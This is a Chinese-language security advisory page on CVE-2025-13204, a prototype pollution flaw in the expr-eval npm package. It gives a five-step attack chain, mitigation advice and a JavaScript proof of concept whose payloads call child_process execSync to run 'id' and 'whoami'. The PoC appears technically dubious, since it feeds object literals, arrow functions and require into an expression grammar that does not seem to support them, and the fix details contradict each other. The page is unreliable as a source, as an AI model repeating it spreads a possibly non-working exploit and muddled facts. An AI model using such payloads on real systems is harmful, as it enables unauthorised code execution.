IPBUF安全漏洞报告
English
CVE-2025-13204 CVSS 7.3 高危

CVE-2025-13204: expr-eval npm包原型污染漏洞可导致远程代码执行

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2025-13204
漏洞类型
原型污染
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
expr-eval npm package

相关标签

原型污染原型链污染远程代码执行JavaScriptNode.jsnpmexpr-evalCVE-2025-13204高危漏洞表达式注入

漏洞概述

CVE-2025-13204是针对npm包expr-eval的一个高危原型污染(Prototype Pollution)漏洞。该漏洞允许攻击者通过JavaScript原型继承机制污染全局Object.prototype对象,从而可能在服务器端实现任意代码执行。expr-eval是一个用于在Node.js环境中进行数学表达式解析和求值的库,广泛应用于需要动态计算表达式的Web应用程序中。当该库与Express等Web框架的eval接口结合使用时,攻击者可以通过构造特殊的输入参数,利用原型链污染技术覆盖或修改JavaScript内置对象的原型属性,最终实现远程代码执行(RCE)攻击。此漏洞影响所有使用expr-eval库且允许用户输入表达式求值的应用场景,包括Web服务、API接口和在线计算器等。CVSS评分7.3属于高危级别,攻击复杂度低且无需认证即可利用。

技术细节

原型污染是一种针对JavaScript对象原型链的攻击技术。在expr-eval库中,攻击者可以通过构造特殊的表达式输入来修改Object.prototype对象。例如,使用__proto__、constructor或prototype等特殊属性名,攻击者能够在表达式求值过程中向全局原型对象注入恶意属性。当应用程序的其他代码访问这些被污染的属性时,会触发预期之外的行为。在Web应用场景中,如果expr-eval被用于处理用户提交的数学表达式,攻击者可以构造类似{}.__proto__.shell='ls'的表达式来污染原型链。更进一步,通过污染toString方法或重写Object的某些核心方法,攻击者可以实现任意代码执行。该漏洞的利用前提是应用程序直接使用用户输入调用expr-eval的Parser或Expression.eval()方法,且未对输入进行充分的过滤和验证。修复方案为使用expr-eval-fork分支,该分支增加了对危险属性的过滤机制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Web应用是否使用expr-eval npm包进行表达式解析,通常通过公开的GitHub仓库、npm依赖分析或错误信息泄露
STEP 2
步骤2: 构造恶意Payload
攻击者构造包含__proto__、constructor或prototype等特殊属性的表达式,如({}).__proto__.polluted='value',用于测试原型污染可行性
STEP 3
步骤3: 原型链污染
通过发送构造的表达式到expr-eval的解析接口,成功污染Object.prototype对象,在全局原型上注入恶意属性或方法
STEP 4
步骤4: 代码执行触发
利用被污染的原型链,通过重写toString、valueOf等核心方法或利用require函数等内置对象,触发任意代码执行
STEP 5
步骤5: 持久化控制
成功执行代码后,攻击者可植入后门、窃取数据或建立持久化访问通道,完成完整的攻击链

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-13204 Prototype Pollution PoC for expr-eval const { Parser } = require('expr-eval'); // PoC: Pollute Object.prototype via __proto__ try { const parser = new Parser(); // Method 1: Using __proto__ to pollute global prototype let expr1 = parser.parse('({}).__proto__.polluted=true'); expr1.evaluate(); console.log('Prototype polluted:', {}.polluted); // Should print: true // Method 2: Using constructor prototype let expr2 = parser.parse('({}).constructor.prototype.shell=require("child_process").execSync("id")'); expr2.evaluate(); console.log('Shell access via polluted prototype'); // Method 3: Direct prototype property access let expr3 = parser.parse('x.__proto__.toString=()=>{require("child_process").execSync("whoami")}'); expr3.evaluate({x: {}}); } catch (e) { console.error('Error during PoC demonstration:', e.message); } // Mitigation: Use expr-eval-fork package // const { Parser } = require('expr-eval-fork'); // Fixed version

影响范围

expr-eval < 2.0.0
silentmatt/expr-eval (all versions prior to fix)
jorenbroekema/expr-eval (all versions prior to fork)

防御指南

临时缓解措施
在官方修复发布前,可采取以下临时缓解措施:1) 对输入表达式进行严格的正则过滤,移除或拒绝包含__proto__、constructor、prototype、__defineGetter__、__defineSetter__等危险属性的输入;2) 使用Object.freeze冻结Object.prototype和Function.prototype防止原型被污染;3) 在Node.js中使用vm模块创建隔离的沙箱环境执行表达式解析;4) 部署WAF规则拦截包含可疑属性访问的请求;5) 优先考虑使用安全的表达式解析库替代品,如mathjs等已做好安全防护的库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表